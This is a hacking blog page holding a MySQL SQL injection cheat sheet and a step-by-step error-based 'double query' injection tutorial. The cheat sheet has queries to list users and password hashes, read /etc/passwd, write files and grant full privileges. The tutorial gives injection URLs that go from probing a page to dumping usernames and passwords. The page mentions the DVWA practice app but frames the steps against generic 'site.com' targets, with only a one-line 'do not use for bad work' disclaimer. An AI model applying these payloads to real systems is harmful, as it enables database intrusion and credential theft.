Fadu Hack: Sql

MySQL SQL Injection Cheat Sheet

<div dir="ltr" style="text-align: left;" trbidi="on">
Some useful syntax reminders for SQL Injection into MySQL databases…<br />
This post is part of a series of SQL Injection Cheat Sheets.  In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend.  This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.<br />
<a href="https://blogger.googleusercontent.com/img/proxy/AVvXsEiT6RQQkJdLL9jW5LAoBdlywqdhUFbXI8xRPteGWJZllR1ZO2DS0VGUD3Gvu5nu_B_G77ddELSpqUfpSWjGBRK32lMRwjOT1qVt7nWuQJiNNqUNLK2nEXn0o4Wf-Q5_A-U197v8qrl3Oa0FKnfkrCZV=" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="200" src="http://www.mediaatelier.com/CheatSheet/image.png" style="cursor: move;" width="160" /></a>The complete list of SQL Injection Cheat Sheets I’m working is:<br />
<ul style="text-align: left;">
<li>Oracle</li>
<li>MSSQL</li>
<li>MySQL</li>
<li>PostgreSQL</li>
<li>Ingres</li>
<li>DB2</li>
<li>Informix</li>
</ul>
Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.<br />
<br />
<table border="1" style="background: rgb(255, 255, 255); border-collapse: collapse; border-spacing: 0px; border: 1px solid rgb(231, 231, 231); color: #4c5356; font-family: Arial, Helvetica, sans-serif; font-size: 12.961296081543px; line-height: 17.4977493286133px; margin: 0px -1px 24px 0px; outline: 0px; padding: 0px; vertical-align: baseline; width: 600px;"><tbody style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Version</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT @@version</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Comments</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT 1; #comment<br />
SELECT /*comment*/1;</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Current User</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT user();<br />
SELECT system_user();</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">List Users</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT user FROM mysql.user; — priv</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">List Password Hashes</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT host, user, password FROM mysql.user; — priv</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Password Cracker</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;"><a href="http://www.openwall.com/john/" style="background: transparent; border: 0px; color: #0099bb; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">John the Ripper</a> will crack MySQL password hashes.</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">List Privileges</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">List DBA Accounts</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Current Database</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT database()</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">List Databases</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0<br />
SELECT distinct(db) FROM mysql.db — priv</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">List Columns</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">List Tables</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Find Tables From Column Name</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Select Nth Row</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0<br />
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Select Nth Char</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT substr(‘abcd’, 3, 1); # returns c</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Bitwise AND</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT 6 & 2; # returns 2<br />
SELECT 6 & 1; # returns 0</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">ASCII Value -> Char</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT char(65); # returns A</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Char -> ASCII Value</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT ascii(‘A’); # returns 65</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Casting</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT cast(’1′ AS unsigned integer);<br />
SELECT cast(’123′ AS char);</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">String Concatenation</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT CONCAT(‘A’,'B’); #returns AB<br />
SELECT CONCAT(‘A’,'B’,'C’); # returns ABC</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">If Statement</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT if(1=1,’foo’,'bar’); — returns ‘foo’</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Case Statement</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Avoiding Quotes</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT 0×414243; # returns ABC</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Time Delay</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;"><span style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">SELECT BENCHMARK(1000000,MD5(‘A’));<br />SELECT SLEEP(5); # >= 5.0.12</span></td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Make DNS Requests</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Impossible?</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Command Execution</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  <a href="http://www.0xdeadbeef.info/exploits/raptor_udf.c" style="background: transparent; border: 0px; color: #0099bb; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">raptor_udf.c</a> explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Local File Access</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.<br />
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Hostname, IP Address</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT @@hostname;</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Create Users</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Delete Users</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">DROP USER test1; — priv</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Make User DBA</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Location of DB files</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">SELECT @@datadir;</td></tr>
<tr style="background: transparent; border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">Default/System Databases</td><td style="background: transparent; border-top-color: rgb(231, 231, 231); border-top-style: solid; border-width: 1px 0px 0px; margin: 0px; outline: 0px; padding: 6px 24px; vertical-align: baseline;">information_schema (>= mysql 5.0)<br />
mysql</td></tr>
</tbody></table>
</div>

MySQL SQL Injection Cheat Sheet

Some useful syntax reminders for SQL Injection into MySQL databases… This post is part of a series of SQL Injection Cheat Sheets. In this...

Error based injection With Double Query (Medium Level)

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="MsoNormal">
Today we can do <b>Error Based Injection</b> for that we can understand some SQL commands like Concat, Rand, As, Group By, Count, Floor.</div>
<div class="MsoNormal">
</div>
<ol style="text-align: left;">
<li>concat - joisn 2 or more strings/columns</li>
<li>group by - groups the data/rows according to the values ina specific columns to do futher calcuations on the grouped data</li>
<li>floor(x.y) - returns least interger value</li>
<li>rand( [x] ) - generates random number btw 0-1, if x is given the output will be same for all x</li>
<li>as - used to give temporary name to a columns in the output of a select command</li>
<li>count(column/*) - counts the number of NON-NULL rows in a column</li>
</ol>
<h3 style="text-align: left;">
Software Used :-</h3>
<blockquote class="tr_bq" style="text-align: left;">
DVWA (Vulnerable Web application) - (<a href="http://www.dvwa.co.uk/">Click Here</a>)<br />
FireFox - (<a href="http://partners.hostgator.com/c/147763/178153/3094">Click Here</a>)<br />
Hacker Bar - (<a href="https://addons.mozilla.org/en/firefox/addon/hackbar/">Click Here</a>) </blockquote>
<div class="MsoNormal">
<h3 style="text-align: left;">
ASCII Code :-</h3>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="436" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmFpxnXOgEqM8Wpx4FKMZqsDw6rFfbDv1GjQ_ijZBGlWGtxL_LB17CM0ASAYpXi0lkaNEVaENvCW-XckNx65-qWypiKO4z_orr0pqQbmjsCoK5IqC7x8-Vyilp9yhO2U6TN3fuBwPXilz9/s640/asciifull.gif" width="640" /></div>
<div>
<br /></div>
We can Do <b>MySQL - > double/stacked/sub query</b></div>
<div class="MsoNormal">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: center;">
<span style="color: red;"><b>NOTE</b></span></div>
<div class="MsoNormal" style="text-align: center;">
<b>*** Base Query FOR double query injection***</b></div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select count(*),concat(floor(rand(0)*2), 0x3a3a, (<any SQL query here>)) a from information_schema.tables group by a)b)</blockquote>
<h4 style="text-align: left;">
<b>Steps :-></b></h4>
<div>
<div class="MsoNormal">
Step 1: find dynamic page</div>
<blockquote class="tr_bq">
site.com/page.php?news=89</blockquote>
<div class="MsoNormal">
Step 2: apply ' to check if wesite gives MySQL error</div>
<blockquote class="tr_bq">
site.com/page.php?news=89' </blockquote>
<div class="MsoNormal">
You must see an error like:</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
You have an error in you SQL syntax, check the manual that corresponds... MySQL ......</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Step 3: find the injection type</div>
<blockquote class="tr_bq">
ssite.com/page.php?news=89'--+</blockquote>
<div class="MsoNormal">
</div>
<ul style="text-align: left;">
<li>if page opens normally then injection type is string</li>
<li>if not try removing '</li>
<li>site.com/page.php?news=89--+</li>
<li>if works now then injection type is integer</li>
<li>if still dose not then try ", "), ') etc</li>
<li>if none works, try another link</li>
</ul>
Step 4: get the name of the database</div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (database())) a from information_schema.tables
group by a)b)</blockquote>
<div class="MsoNormal">
<v:shapetype coordsize="21600,21600" filled="f" id="_x0000_t75" o:preferrelative="t" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" stroked="f">
 <v:stroke joinstyle="miter">
 <v:formulas>
  <v:f eqn="if lineDrawn pixelLineWidth 0">
  <v:f eqn="sum @0 1 0">
  <v:f eqn="sum 0 0 @1">
  <v:f eqn="prod @2 1 2">
  <v:f eqn="prod @3 21600 pixelWidth">
  <v:f eqn="prod @3 21600 pixelHeight">
  <v:f eqn="sum @0 0 1">
  <v:f eqn="prod @6 1 2">
  <v:f eqn="prod @7 21600 pixelWidth">
  <v:f eqn="sum @8 21600 0">
  <v:f eqn="prod @7 21600 pixelHeight">
  <v:f eqn="sum @10 21600 0">
 </v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:formulas>
 <v:path gradientshapeok="t" o:connecttype="rect" o:extrusionok="f">
 <o:lock aspectratio="t" v:ext="edit">
</o:lock></v:path></v:stroke></v:shapetype><v:shape id="_x0000_i1025" style="height: 118.5pt; width: 468pt;" type="#_x0000_t75">
 <v:imagedata o:title="Untitled1" src="file:///C:\Users\JAIKUM~1\AppData\Local\Temp\msohtmlclip1\01\clip_image001.png">
</v:imagedata></v:shape><o:p></o:p></div>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="153" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeuhieZWhM3tr1fixsHpawntxoWs8D4ut8kohNy5hbrmjeOreCEK6BVdHDr6qSRzugkn9xwq9WWd0RQMyRtuURYhhdP6KCy9j4RUoU3pHSPO1jxXU1n8wrhrlCD30PPgYFMAZgPswMfigS/s640/Screenshot+%25284%2529.png" width="640" /></div>
</div>
<div class="MsoNormal">
Now you will get an error like :-</div>
<blockquote class="tr_bq">
Duplicate entry '1::<span style="color: red;">dvwa</span>' for key 'group_key'</blockquote>
<div class="MsoNormal">
in place of <span style="color: red;">dvwa</span> you will see the name of your database</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Step 5: get the names of the tables (assuming database name is dvwa)</div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (select table_name from
information_schema.tables where table_schema=database() limit 0,1)) a from
information_schema.tables group by a)b)</blockquote>
<div class="MsoNormal">
<o:p></o:p></div>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="154" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP47XC2LRotUF9N3I6aqsnlUY-YIz13tUA04TqIJDYkpkoSctJsigbv_4NCWeO1gopVum7uRhgKCmpKQXoqZumoqNlOmaf2YDqhH_KlSIprbaFYCvpoakJIegqiyhsZGhFicfmAVNDdTv_/s640/Screenshot+%25285%2529.png" width="640" /></div>
</div>
<div class="MsoNormal">
this will give 1st table, for next table limit 1,1 and similarly for nth -> limit n-1,1</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<v:shape id="_x0000_i1027" style="height: 117pt; width: 468pt;" type="#_x0000_t75">
 <v:imagedata o:title="Untitled3" src="file:///C:\Users\JAIKUM~1\AppData\Local\Temp\msohtmlclip1\01\clip_image003.png">
</v:imagedata></v:shape><o:p></o:p></div>
<div class="MsoNormal">
Step 6: get the columns names from the juicy table (assuming table=users) *i use ASCII value or users</div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (select column_name from
information_schema.columns where table_schema=database() and table_name =
char(117,115,101,114,115) limit 0,1)) a from information_schema.tables group by
a)b)</blockquote>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipBTwX6RCQNJfjy27IGEAJ140iOPPCsXQZp53_Nkmx7gYE7CbsyN_mEDKvByaRv4JoaTFOYpnGPwGdQU1pKnaa5k_oMB3613tZ1O8vOyM1B3XmknxrH0po7i0nTno1hImWPBPwb1GsGfPe/s640/Screenshot+%25286%2529.png" width="640" /></div>
for next columns limit 1,1 and similarly for nth -> limit n-1,1<br />
<br /></div>
<div class="MsoNormal">
Step 7: get the data from the juicy columns (assuming columns=user,password)</div>
<div class="MsoNormal">
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (select concat(user,0x2d2d,password)
from dvwa.users limit 3,1) ) a from information_schema.tables group by a)b)</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE5qiR81L5A4HfOs646h8dmgy4fkok7iAsvDybARYNBX-E64WuWtgkVBdfR09JJy-TlLo2XeWJtZLXrtPKI7GDv6wlRdobia4nKyoGFAHexKPlUhIRVcUw2WFqz1PC3WjXBbMZ6h7fS4Fk/s640/Screenshot+%25288%2529.png" width="640" /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
If you like this post then please like our FACEBOOK page and Subscribe our YouTube Channel</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="color: red;">NOTE:- Please Do note use this information for bad work. </span>:)</div>
<div class="separator" style="clear: both; text-align: left;">
Thanks :) :)</div>
</div>
</div>

Error based injection With Double Query (Medium Level)

Today we can do Error Based Injection for that we can understand some SQL commands like Concat, Rand, As, Group By, Count, Floor. co...

Class Union Based Injection (100% Working)

<div dir="ltr" style="text-align: left;" trbidi="on">
